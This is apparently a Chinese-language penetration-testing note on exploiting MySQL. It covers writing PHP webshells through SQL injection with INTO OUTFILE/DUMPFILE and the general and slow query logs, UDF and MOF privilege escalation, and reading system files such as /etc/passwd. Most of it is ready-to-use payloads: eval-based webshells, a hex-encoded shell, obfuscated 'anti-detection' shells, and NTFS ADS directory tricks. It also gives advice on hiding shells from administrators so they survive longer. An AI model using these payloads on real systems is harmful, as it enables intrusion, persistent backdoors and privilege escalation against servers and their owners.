1.mysql利用

Pasted image 20250510185649

1. mysql写shell

1.1. outfile和dumpfile写shell

1.1.1. 前提条件

  • 当前注入点为root权限 (sqlmap --is-dba 判断)
  • 已知网站绝对路径
  • secure_file_priv = 值为空
  • PHPGPC为 off状态;(魔术引号,GET,POST,Cookie)

1.1.2. secure_file_priv查询

Tip

MySQLsecure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值没有具体值时,表示不对MySQL的导入|导出做限制,如果是null,表示MySQL不允许导入导出。

而且在mysql 5.6.34版本以后 secure_file_priv 的值默认为NULL。并且无法用SQL语句对其进行修改

--可以通过sqlmap的 --sql-shell 查询
SELECT @@secure_file_priv;
SHOW VARIABLES LIKE 'secure_file_priv';

1.1.3. mysql如何获取网站所在的绝对路径

1.报错注入获取绝对路径
一些报错可能会泄露网站绝对路径,但不是绝对的

?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+

2.通过数据库文件位置进行猜测

sqlmap --sql-shell
SELECT @@datadir

Pasted image 20250508144834

3.phpinfo查看
Pasted image 20250508150048

1.1.4. outfile和dumpfile写入shell

基于UNION联合查询写入shell

?id=1 UNION ALL select 1,"<?php phpinfo();?>",3 into outfile 'D:/envirment/phpstudy_pro/WWW/sqli-labs-master/info.php'%23

?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:/info.php'%23

?id=1')) union select 1,2,'<?php @eval($_POST["admin"])?>' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.php" %23

?id=1' into outfile 'D:/envirment/phpstudy_pro/WWW/sqli-labs-master/info1.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b2261646d696e225d293b3f3e--+
--<?php @eval($_POST["admin"]);?>的16进制

非联合查询写入shell
当我们无法使用联合查询时,我们可以使用 fields terminated bylines terminated by 来写shell

  • LINES TERMINATED BY 每一行 的末尾用啥符号结尾
  • FIELDS TERMINATED BY 字段字段 之间用啥符号隔开
?id=1 into outfile 'C:/info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

?id=1 INTO OUTFILE 'C:\\info.php' FIELDS TERMINATED BY ' ' LINES TERMINATED BY '<?php phpinfo();?>'%23; --两处参数都可以筛payload

代替空格的方法

+号,%0a%0b%a0/**/ 注释符等

1.1.5. outfile和dumpfile的区别

#outfile
    1、 支持多行数据同时导出
    2、 使用union联合查询时,要保证两侧查询的列数相同
    3、 会在换行符制表符后面追加反斜杠
    4、 会在末尾追加换行
    
#dumpfile
	1、 每次只能导出一行数据
    2、 不会在换行符制表符后面追加反斜杠
    3、 不会在末尾追加换行
  • 因此,我们可以使用 into dumpfile 这个函数来顺利写入二进制文件;
  • into outfile 函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效
  • 如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制

1.2. 突破secure-file-priv写shell

windows 用 \\ 进行分割目录

1.2.1. 基于日志写shell

outfile 被禁止,或者写入文件被拦截,没写权限 ,有root权限)

show variables like '%general%';	--查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
set global general_log = on;		--开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php';		--设置日志路径
select '<?php phpinfo();?>';		--执行查询,写入shell
--结束后,恢复日志路径,关闭日志监测

--SQL查询免杀shell
select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";

---------------
--慢查询写shell
---------------
为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错
show variables like '%slow_query_log%';		--查看慢查询信息
set global slow_query_log=1;				--启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php';	--修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11);				--写shell

1.2.2. 慢查询补充

因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。
如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中

show global variables like '%long_query_time%'		--查看服务器默认时间值

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉

拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些

像这种东西还是比较适合那些集成环境,比如,appserv,xampp...因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高

其它方法:通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,找上传点 GetShell

2. UDF提权

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数
用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为 .dll

提权原理
上传udf.dll/udf.so到plugin_dir目录,让mysql加载
在udf.dll/udf.so文件中自定义一些能够以mysql权限执行系统命令的函数,然后将该函数导入到mysql数据库中,通过mysql数据库去以mysql权限执行系统命令。

2.1. 利用条件:

  • Server 2003、Windows XP、Windows 7
  • 已知mysql中root的账号密码
  • mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
  • mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\
  • secure_file_priv为空

2.1.1. 如果plugin_dir为空

查询插件安装目录:

SHOW VARIABLES LIKE '%plugin%';

Pasted image 20250508162811

如果变量plugin_dir为空,那么udf文件必须位于动态链接库能找到的地方,比如:

mysql二进制文件所在的地方
/lib/
/lib64/
c:\windows
c:\windows\system
c:\windows\system32

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

select @@basedir; //查找到mysql的目录  
  
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录  
  
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
#利用ADS流创建文件夹,cmd执行
echo 123 > test::$INDEX_ALLOCATION
#这条命令会创建一个test文件夹

#利用webshell 创建plugin文件夹
echo 123 > C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION

2.2. 提权原理:

利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)
当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。
这样我们自定义的函数才被当作本机函数执行。
在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而提权
Pasted image 20250508164804

通过WebShell上传udf.php(这种方法数据库不用外连也可以)
udf.php:https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php
Pasted image 20250510184123

3. MOF提权

MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)
叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡

3.1. 利用条件

  • Windows<=2003
  • mysql在c:/windows/system32/wbem/mof目录有写权限
  • 已知数据库root账号密码
  • 数据库允许外连
  • securefilepriv为空

secure_file_priv 的值没有具体值时,表示不对 MySQL 的导入|导出做限制,如果是null,表示 MySQL 不允许导入导出

#查看secure_file_priv的值
SHOW VARIABLES LIKE "secure_file_priv";

#这个值可以在my.ini设置为空
secure_file_priv =

3.2. 提权原理:

MOF文件既然每五秒就会执行,而且是系统权限;
我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件;
然后系统每隔五秒就会执行一次我们上传的MOF。
MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
这个提权方式条件非常严苛,数据库在system32写文件这个条件一般很难达到,而且较新的系统无法使用MOF提权。

MSF 下有Mof 提权模块
执行成功后会直接反弹一个 system 权限的meterpreter

use exploit/windows/mysql/mysql_mof

4. mysql读文件

select  load_file('/etc/passwd'); --推荐

LOAD DATA INFILE '文件路径' INTO TABLE 表名 FIELDS TERMINATED BY '分隔符' LINES TERMINATED BY '换行符' (@行变量) SET 目标列 = @行变量, 其他列 = 默认值;

Pasted image 20250510185615

4.1. 有用的配置文件